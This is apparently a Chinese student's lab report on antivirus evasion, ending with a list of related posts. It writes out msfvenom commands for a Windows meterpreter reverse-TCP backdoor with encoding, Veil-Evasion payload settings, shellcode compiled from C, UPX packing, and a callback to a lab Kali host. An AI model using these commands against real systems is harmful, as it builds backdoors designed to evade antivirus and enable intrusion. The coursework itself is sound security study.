20155330 《网络攻防》 Exp3 免杀原理与实践

基础问题回答

  1. 杀软是如何检测出恶意代码的?

    1. 基于特征码。先对流行代码特征的提取,然后进行程序的比对,如果也检测到相应的特征码的程序即为检测出恶意代码。
    2. 基于行为。杀软通过检测程序是否有更改注册表行为、是否有设置自启动、是否有修改权限等等行为进行判断。
  2. 免杀是做什么?

    恶意代码避免杀毒软件查杀,从而实现入侵。

  3. 免杀的基本方法有哪些?

    • 对恶意代码进行加壳
    • 利用shellcode进行编码

实践过程记录

使用msf生成后门程序的检测

  • 将实验二中生成的后门程序上传到virscan中进行扫描,扫描信息及结果如下:



  • 根据扫描结果,有48%的杀软检测出了病毒。

使用msf编码器生成meterpreter可执行文件

  • 使用命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.204.128 LPORT=5330 -f exe > 5330exp3.exe生成一次编码过的可执行文件

  • 再次对生成的程序进行扫描,扫描信息及结果如下:





  • 相较于直接生成后门程序,进行过编码后的程序依然有48%的杀软检测出病毒。
  • 将文件进行十次编码

  • 扫描文件,还是被那么多的杀软查杀到,那么多次编码好像也没有太大的作用。





Veil-Evasion免杀平台

  • 在终端中使用veil-evasion命令打开该软件。

  • 输入
use python/meterpreter/rev_tcp  //设置payload
set LHOST 192.168.204.138 //设置反弹连接win-IP
set port 443 //设置反弹端口443,默认为4444
generate //生成
5330 //程序名
1





  • 从路径/var/lib/veil-evasion/output/compiled找到相应程序,放到网站上扫描,结果如下:





C语言调用Shellcode

  • 在kali主机下打开终端,执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=Kali-IP LPORT=443 -f c,生成一个C语言数组。



  • 创建一个C文件(可用touch命令生成):MSSC_5330.c(免杀shellcode),将上面生成的数组copy到该文件下,并加入一个主函数。



  • 使用i686-w64-mingw32-g++ MSSC_5330.c -o MSSC_5330.exe命令将该C语言代码转换为一个可在64位windows系统下操作的可执行文件MSSC_5330.exe。

  • 放到网站上扫描一下,发现可以检测到病毒的杀软更少了。



  • 通过nc命令将可执行文件传到win7主机上,很快就被查杀了QAQ。

加壳

  • 通过命令upx #需要加壳的文件名 -o #加壳后的文件名,生成程序。

  • 放到网站上扫描一下,emmmmm...没什么变化……



  • 再传到win7主机上,扫描一下。

  • 好像可以了?看看扫描日志。

  • 过了一会,又被查杀了TUT。

离实战还缺些什么技术或步骤?

应该是对编写免杀代码还不太了解,以目前的能力还只能依靠软件来生成代码,如果是纯手工的代码可能免杀的几率会更大一些。

实践总结与体会

通过不同的方式对恶意代码生成病毒程序有了一定的了解,可以简单制作出一些免杀后门。从而也了解到了目前我们所信赖的杀软其实还是存在着一些漏洞,假设将shellcode进行重新组合再加壳的话,免杀率应该还会再上升,从而通过杀软的扫描,入侵靶机。

20155330 《网络攻防》 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165205 网络攻防Exp3免杀原理与实践

    2018-2019-2 20165205 网络攻防Exp3免杀原理与实践 一.实践内容 1.1正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用 ...

  2. 2018-2019-2 20165312《网络攻防技术》Exp3 免杀原理与实践

    2018-2019-2 20165312<网络攻防技术>Exp3 免杀原理与实践 课上知识点总结 1.恶意软件检测机制 基于特征码的检测(需要定期更新病毒库) 启发式恶意软件检测(实时监控 ...

  3. 20145236《网络攻防》 Exp3 免杀原理与实践

    20145236<网络攻防> Exp3 免杀原理与实践 一.基础问题回答 1.杀软是如何检测出恶意代码的? 恶意代码有其特有的特征码,杀软将特征码加入检测库中,当检测到一段代码中具有这样的 ...

  4. 20155226《网络攻防》 Exp3 免杀原理与实践

    20155226<网络攻防> Exp3 免杀原理与实践 实验过程 1. msfvenom直接生成meterpreter可执行文件 直接将上周做实验时用msf生成的后门文件放在virscan ...

  5. 20155308 《网络攻防》 Exp3 免杀原理与实践

    20155308 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测 ...

  6. 20155318 《网络攻防》Exp3 免杀原理与实践

    20155318 <网络攻防>Exp3 免杀原理与实践 基础问题 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程 ...

  7. 20155321 《网络攻防》 Exp3 免杀原理与实践

    20155321 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 根据实验指导书,杀软有两个方法可以检测出恶意代码.第一种是基于特征码,即先对流行代码特 ...

  8. 2015306 白皎 《网络攻防》Exp3 免杀原理与实践

    2015306 白皎 <网络攻防>Exp3 免杀原理与实践 一.实践基础 免杀,故名思义,指的是一种能使病毒木马免于被杀毒软件查杀的技术. 免杀的方法有很多,比如加壳改壳.加垃圾指令.以及 ...

  9. 2018-2019-2 网络对抗技术 20165320 Exp3 免杀原理与实践

    ### 2018-2019-2 网络对抗技术 20165320 Exp3 免杀原理与实践 一.实验内容 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分) ...

随机推荐

  1. AJAX删除事件与加载数据

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...

  2. JavaScript写计算器

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...

  3. Atitit.web的自动化操作与信息抓取 attilax总结

    Atitit.web的自动化操作与信息抓取 attilax总结 1. Web操作自动化工具,可以简单的划分为2大派系: 1.录制回放 2.手工编写0 U' z; D! s2 d/ Q! ^1 2. 常 ...

  4. 如何获取listview里面的edittext或者RadioGroup的值,涉及到引发的混乱现象

    最近要实现从数据库读数据,该数据对应listview的item布局里面的RadioButton值,并且item布局里面还有EditText的控件. 如何将每一条对应的listview对应值获取出来呢? ...

  5. PC客户端开发细节记录:保存GUID到VARIANT

    有两个 API 可以实现保存 GUID 到 VARIANT InitVariantFromGUIDAsBuffer 以字节数组形式保存,保存类型为 VT_ARRAY | VT_UI1,相当于字节拷贝, ...

  6. RHEL7.3安装python3.6.1

    RHEL7.3 install python3.6.1 steps 1. download Python-3.6.1.tgz2. tar -zxvf Python-3.6.1.tgz3. yum in ...

  7. C语言short int

    因为C语言中short int占2个字节,有16个二进制位,共可表示2^16种状态.因为它用来表示有符号数,而0也要占用一个状态.所以,16位的原码可以表示的数是-32767~+32767,它的0可以 ...

  8. python基础学习17----json&pickle&shelve

    json和pickle的功能是对数据进行序列化 将对象转换为可通过网络传输或可以存储到本地磁盘的数据格式(如:XML.JSON或特定格式的字节串)的过程称为序列化:反之,则称为反序列化 json模块 ...

  9. LAMP平台的搭建及应用

    实验要求 1.构建PHP运行环境,实现LAMP协同架构,前提条件是服务器中已经编译好了Apache HTTP Server和MySQL数据库,(编译安装apache和编译安装mysql 请查看公众号L ...

  10. Windows Server 2008远程桌面端口更改方法

    win2008远程桌面端口默认是用的是3389端口,但是由于安全考虑,经常我们安装好系统后一般都会考虑把原来的3389端口更改为另外的端口.本文以改为端口为25608商品为例,讲解一下具体操作过程. ...